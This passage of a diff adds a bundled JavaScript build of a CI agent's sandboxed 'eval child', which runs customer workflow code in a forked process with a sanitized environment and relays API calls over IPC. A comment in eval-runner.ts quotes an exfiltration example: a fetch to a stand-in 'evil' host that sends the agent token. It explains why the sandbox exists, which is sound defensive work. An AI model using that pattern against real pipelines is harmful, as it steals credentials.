const reason = stopReason ?? (args.signal?.aborted ? "global eval round was cancelled before this candidate was evaluated" : "global eval round deadline reached before this candidate was evaluated");
|
|
1632
|
+
for (const candidate of args.candidates.slice(candidates.length)) candidates.push({
|
|
1633
|
+
workflowName: candidate.workflowName,
|
|
1634
|
+
run: false,
|
|
1635
|
+
indeterminate: true,
|
|
1636
|
+
reason
|
|
1637
|
+
});
|
|
1638
|
+
return { candidates };
|
|
1639
|
+
}
|
|
1640
|
+
//#endregion
|
|
1641
|
+
//#region src/execution/sandbox/eval-dispatch.ts
|
|
1642
|
+
/**
|
|
1643
|
+
* The four evaluations the eval child performs, with the IPC shell factored out.
|
|
1644
|
+
*
|
|
1645
|
+
* Separated from `eval-runner.ts` so this — the code that actually loads and
|
|
1646
|
+
* runs a customer workflow module — is directly testable, and so a unit test can
|
|
1647
|
+
* drive the real evaluation through the same seam the child uses rather than a
|
|
1648
|
+
* hand-written imitation of it that would drift.
|
|
1649
|
+
*
|
|
1650
|
+
* Every `process.env` read below is correct BECAUSE it runs in the eval child:
|
|
1651
|
+
* there `process.env` is the sanitized environment the child was forked with,
|
|
1652
|
+
* carrying no agent credential. The same expressions were the defect while these
|
|
1653
|
+
* evaluations ran in the agent process, which is why they moved rather than
|
|
1654
|
+
* being rewritten.
|
|
1655
|
+
*/
|
|
1656
|
+
init_workflow_loader();
|
|
1657
|
+
init_generator_context();
|
|
1658
|
+
/** Console output captured inside an evaluation lands on the job's step-0 log. */
|
|
1659
|
+
function makeSink(deps) {
|
|
1660
|
+
return { addLine: (line) => deps.emit(line) };
|
|
1661
|
+
}
|
|
1662
|
+
/** A logger shaped like the SDK's, routing every level onto the same log. */
|
|
1663
|
+
function makeEvalLogger(deps) {
|
|
1664
|
+
return {
|
|
1665
|
+
info: (msg) => deps.emit(msg),
|
|
1666
|
+
warn: (msg) => deps.emit(`WARN: ${msg}`),
|
|
1667
|
+
error: (msg) => deps.emit(`ERROR: ${msg}`),
|
|
1668
|
+
debug: (msg) => deps.emit(`DEBUG: ${msg}`)
|
|
1669
|
+
};
|
|
1670
|
+
}
|
|
1671
|
+
async function runInit(request, deps) {
|
|
1672
|
+
const dispatch = request.dispatch;
|
|
1673
|
+
const config = request.config;
|
|
1674
|
+
const filterInput = config.hasFilter ? await buildInitFilterInput(dispatch, config.event, request.workDir, deps.emit) : void 0;
|
|
1675
|
+
return runCaptured(makeSink(deps), async () => {
|
|
1676
|
+
const { module } = await loadWorkflowSource(request.workDir, config.source, config.contentHash, config.resolvedHashFiles);
|
|
1677
|
+
const workflow = extractWorkflow(module, config.workflowName);
|
|
1678
|
+
deps.emit(`Evaluating dynamic fields for job '${config.targetJobName}' (env=${config.dynamicEnv} context=${config.dynamicContext} concurrencyGroup=${config.dynamicConcurrencyGroup} matrix=${config.dynamicMatrix ?? false} filter=${config.hasFilter ?? false})`);
|
|
1679
|
+
return evaluateDynamicFields(workflow, config.targetJobName, config.event, {
|
|
1680
|
+
dynamicContext: config.dynamicContext,
|
|
1681
|
+
dynamicEnv: config.dynamicEnv,
|
|
1682
|
+
dynamicConcurrencyGroup: config.dynamicConcurrencyGroup,
|
|
1683
|
+
dynamicMatrix: config.dynamicMatrix ?? false,
|
|
1684
|
+
hasFilter: config.hasFilter ?? false
|
|
1685
|
+
}, config.timeoutMs, filterInput);
|
|
1686
|
+
});
|
|
1687
|
+
}
|
|
1688
|
+
async function runDynamicJob(request, deps) {
|
|
1689
|
+
const dispatch = request.dispatch;
|
|
1690
|
+
const config = request.config;
|
|
1691
|
+
const timeoutMs = config.timeoutMs ?? 6e4;
|
|
1692
|
+
const scopedDollar = await buildEvalShell(request.workDir, deps.emit);
|
|
1693
|
+
const filterInput = config.hasFilter ? await buildInitFilterInput(dispatch, config.event, request.workDir, deps.emit) : void 0;
|
|
1694
|
+
return runCaptured(makeSink(deps), async () => {
|
|
1695
|
+
const { module } = await loadWorkflowSource(request.workDir, config.source.file, config.contentHash, config.resolvedHashFiles);
|
|
1696
|
+
deps.emit("Workflow loaded");
|
|
1697
|
+
const { extractDynamicJobFn } = await Promise.resolve().then(() => (init_workflow_loader(), workflow_loader_exports));
|
|
1698
|
+
const workflow = extractWorkflow(module, config.workflowName);
|
|
1699
|
+
if (config.hasFilter) {
|
|
1700
|
+
if (!await evaluateWorkflowFilter(workflow, config.event, filterInput, timeoutMs)) {
|
|
1701
|
+
deps.emit(`Workflow filter returned false — '${config.workflowName}' does not apply to this event, so its generator is not run and no jobs are generated`);
|
|
1702
|
+
return [];
|
|
1703
|
+
}
|
|
1704
|
+
}
|
|
1705
|
+
const dynamicFn = extractDynamicJobFn(workflow, config.source.index);
|
|
1706
|
+
deps.emit(`Evaluating DynamicJobFn (index ${config.source.index}, timeout ${timeoutMs}ms)`);
|
|
1707
|
+
const needs = buildEvalNeedsContext(config);
|
|
1708
|
+
const context = buildGeneratorContext({
|
|
1709
|
+
workflowName: config.workflowName,
|
|
1710
|
+
event: config.event,
|
|
1711
|
+
env: process.env,
|
|
1712
|
+
...needs && { needs },
|
|
1713
|
+
$: scopedDollar,
|
|
1714
|
+
log: makeEvalLogger(deps),
|
|
1715
|
+
kici: deps.kici
|
|
1716
|
+
});
|
|
1717
|
+
return serializeJobsToLock(await withTimeout(() => dynamicFn(context), timeoutMs, `DynamicJobFn index ${config.source.index} in workflow '${config.workflowName}'`), {
|
|
1718
|
+
event: config.event,
|
|
1719
|
+
$: scopedDollar,
|
|
1720
|
+
log: makeEvalLogger(deps),
|
|
1721
|
+
env: process.env,
|
|
1722
|
+
workflowName: config.workflowName
|
|
1723
|
+
});
|
|
1724
|
+
});
|
|
1725
|
+
}
|
|
1726
|
+
/**
|
|
1727
|
+
* Load the workflow module to verify the cloned source matches the lock file's
|
|
1728
|
+
* `contentHash`, before the agent packs the source tarball.
|
|
1729
|
+
*
|
|
1730
|
+
* The verification is `loadWorkflowSource`'s own, and importing the module is
|
|
1731
|
+
* what makes it customer code — module top-level runs.
|
|
1732
|
+
*/
|
|
1733
|
+
async function runBuildVerify(request, deps) {
|
|
1734
|
+
const config = request.config;
|
|
1735
|
+
await runCaptured(makeSink(deps), () => loadWorkflowSource(request.workDir, config.sourceFile, config.contentHash, config.resolvedHashFiles));
|
|
1736
|
+
return null;
|
|
1737
|
+
}
|
|
1738
|
+
async function runGlobalEval(request, deps) {
|
|
1739
|
+
const dispatch = request.dispatch;
|
|
1740
|
+
const config = request.config;
|
|
1741
|
+
const workflowDir = join(request.workDir, "workflow");
|
|
1742
|
+
const sourceDir = join(request.workDir, "source");
|
|
1743
|
+
const diff = await resolveEvalChangedFiles(dispatch, config.event, sourceDir);
|
|
1744
|
+
const evalShell = await buildEvalShell(request.workDir, deps.emit);
|
|
1745
|
+
return runCaptured(makeSink(deps), () => runGlobalEvalRound({
|
|
1746
|
+
workflowDir,
|
|
1747
|
+
sourceDir,
|
|
1748
|
+
repos: buildRoundRepos(dispatch, config, workflowDir, sourceDir),
|
|
1749
|
+
candidates: config.candidates,
|
|
1750
|
+
event: config.event,
|
|
1751
|
+
changedFiles: diff.files,
|
|
1752
|
+
changedFilesStatus: diff.status,
|
|
1753
|
+
roundTimeoutMs: config.roundTimeoutMs ?? 12e4,
|
|
1754
|
+
candidateTimeoutMs: config.candidateTimeoutMs ?? 2e4,
|
|
1755
|
+
$: evalShell,
|
|
1756
|
+
log: makeEvalLogger(deps),
|
|
1757
|
+
kici: deps.kici
|
|
1758
|
+
}));
|
|
1759
|
+
}
|
|
1760
|
+
/**
|
|
1761
|
+
* Run one evaluation request. The single entry point the eval child's IPC shell
|
|
1762
|
+
* calls, and the seam a unit test drives.
|
|
1763
|
+
*/
|
|
1764
|
+
async function runEvalRequest(request, deps) {
|
|
1765
|
+
switch (request.kind) {
|
|
1766
|
+
case "init": return runInit(request, deps);
|
|
1767
|
+
case "dynamic-job": return runDynamicJob(request, deps);
|
|
1768
|
+
case "build-verify": return runBuildVerify(request, deps);
|
|
1769
|
+
case "global-eval": return runGlobalEval(request, deps);
|
|
1770
|
+
}
|
|
1771
|
+
}
|
|
1772
|
+
//#endregion
|
|
1773
|
+
//#region src/execution/sandbox/eval-runner.ts
|
|
1774
|
+
/**
|
|
1775
|
+
* The eval child: the only process in which customer EVALUATION code runs.
|
|
1776
|
+
*
|
|
1777
|
+
* The agent forks this entry once per evaluation job — `__init__`, `__dynamic__`,
|
|
1778
|
+
* `__build__` and a global eval round — with an environment built by
|
|
1779
|
+
* `buildSanitizedEnv`, so the workflow module, its `filter`, its dynamic `env` /
|
|
1780
|
+
* `environment` / `concurrencyGroup` / `matrix` functions and any `DynamicJobFn`
|
|
1781
|
+
* load and execute where the agent's credentials are not.
|
|
1782
|
+
*
|
|
1783
|
+
* They used to run in the agent's own V8 isolate with the agent's `process.env`.
|
|
1784
|
+
* A `matrix: async ({ env }) => fetch('https://evil/', { body: env.KICI_AGENT_TOKEN })`
|
|
1785
|
+
* in a pull request was therefore enough to take the agent's identity.
|
|
1786
|
+
*
|
|
1787
|
+
* This file is the IPC shell only; the evaluations themselves live in
|
|
1788
|
+
* `eval-dispatch.ts`. Communication uses a message union of its own
|
|
1789
|
+
* (`AgentToEvalMessage` / `EvalToAgentMessage`), NOT the step runner's — see the
|
|
1790
|
+
* note above the union in `ipc-protocol.ts` for why sharing that one would be a
|
|
1791
|
+
* privilege expansion.
|
|
1792
|
+
*/
|
|
1793
|
+
/** Send one message to the agent. A closed channel is not fatal — the agent has moved on. */
|
|
1794
|
+
function send(msg) {
|
|
1795
|
+
try {
|
|
1796
|
+
process.send?.(msg);
|
|
1797
|
+
} catch {}
|
|
1798
|
+
}
|
|
1799
|
+
function emit(line, stream) {
|
|
1800
|
+
send(stream ? {
|
|
1801
|
+
type: "log.line",
|
|
1802
|
+
line,
|
|
1803
|
+
stream
|
|
1804
|
+
} : {
|
|
1805
|
+
type: "log.line",
|
|
1806
|
+
line
|
|
1807
|
+
});
|
|
1808
|
+
}
|
|
1809
|
+
let apiSeq = 0;
|
|
1810
|
+
const pendingApiCalls = /* @__PURE__ */ new Map();
|
|
1811
|
+
/**
|
|
1812
|
+
* Relay one `kici.*` call to the agent.
|
|
1813
|
+
*
|
|
1814
|
+
* `ctx.kici` is already handed to a `DynamicJobFn` and to a global-eval
|
|
1815
|
+
* generator, so this preserves what an evaluation has rather than granting it
|
|
1816
|
+
* something new. It is the only relay on the eval union.
|
|
1817
|
+
*/
|
|
1818
|
+
function relayApiRequest(method, params) {
|
|
1819
|
+
const id = `eval-api-${++apiSeq}`;
|
|
1820
|
+
return new Promise((resolve, reject) => {
|
|
1821
|
+
pendingApiCalls.set(id, {
|
|
1822
|
+
resolve,
|
|
1823
|
+
reject
|
|
1824
|
+
});
|
|
1825
|
+
send({
|
|
1826
|
+
type: "eval.api.request",
|
|
1827
|
+
id,
|
|
1828
|
+
method,
|
|
1829
|
+
params
|
|
1830
|
+
});
|
|
1831
|
+
});
|
|
1832
|
+
}
|
|
1833
|
+
const kici = buildKiciApi((method, params) => relayApiRequest(method, params ?? {}));
|
|
1834
|
+
installConsoleCapture();
|
|
1835
|
+
process.on("message", (msg) => {
|
|
1836
|
+
if (msg.type === "eval.api.response") {
|
|
1837
|
+
const pending = pendingApiCalls.get(msg.id);
|
|
1838
|
+
if (!pending) return;
|
|
1839
|
+
pendingApiCalls.delete(msg.id);
|
|
1840
|
+
if (msg.error !== void 0) pending.reject(new Error(msg.error));
|
|
1841
|
+
else pending.resolve(msg.result);
|
|
1842
|
+
return;
|
|
1843
|
+
}
|
|
1844
|
+
if (msg.type !== "eval") return;
|
|
1845
|
+
runEvalRequest(msg.request, {
|
|
1846
|
+
emit,
|
|
1847
|
+
kici
|
|
1848
|
+
}).then((result) => {
|
|
1849
|
+
send({
|
|
1850
|
+
type: "eval.result",
|
|
1851
|
+
result
|
|
1852
|
+
});
|
|
1853
|
+
process.exit(0);
|
|
1854
|
+
}, (err) => {
|
|
1855
|
+
send({
|
|
1856
|
+
type: "eval.error",
|
|
1857
|
+
error: toErrorMessage(err)
|
|
1858
|
+
});
|
|
1859
|
+
process.exit(1);
|
|
1860
|
+
});
|
|
1861
|
+
});
|
|
1862
|
+
send({ type: "ready" });
|
|
1863
|
+
//#endregion
|
|
1864
|
+
export {};
|
|
1865
|
+
|
|
1866
|
+
//# sourceMappingURL=eval-runner.js.map
|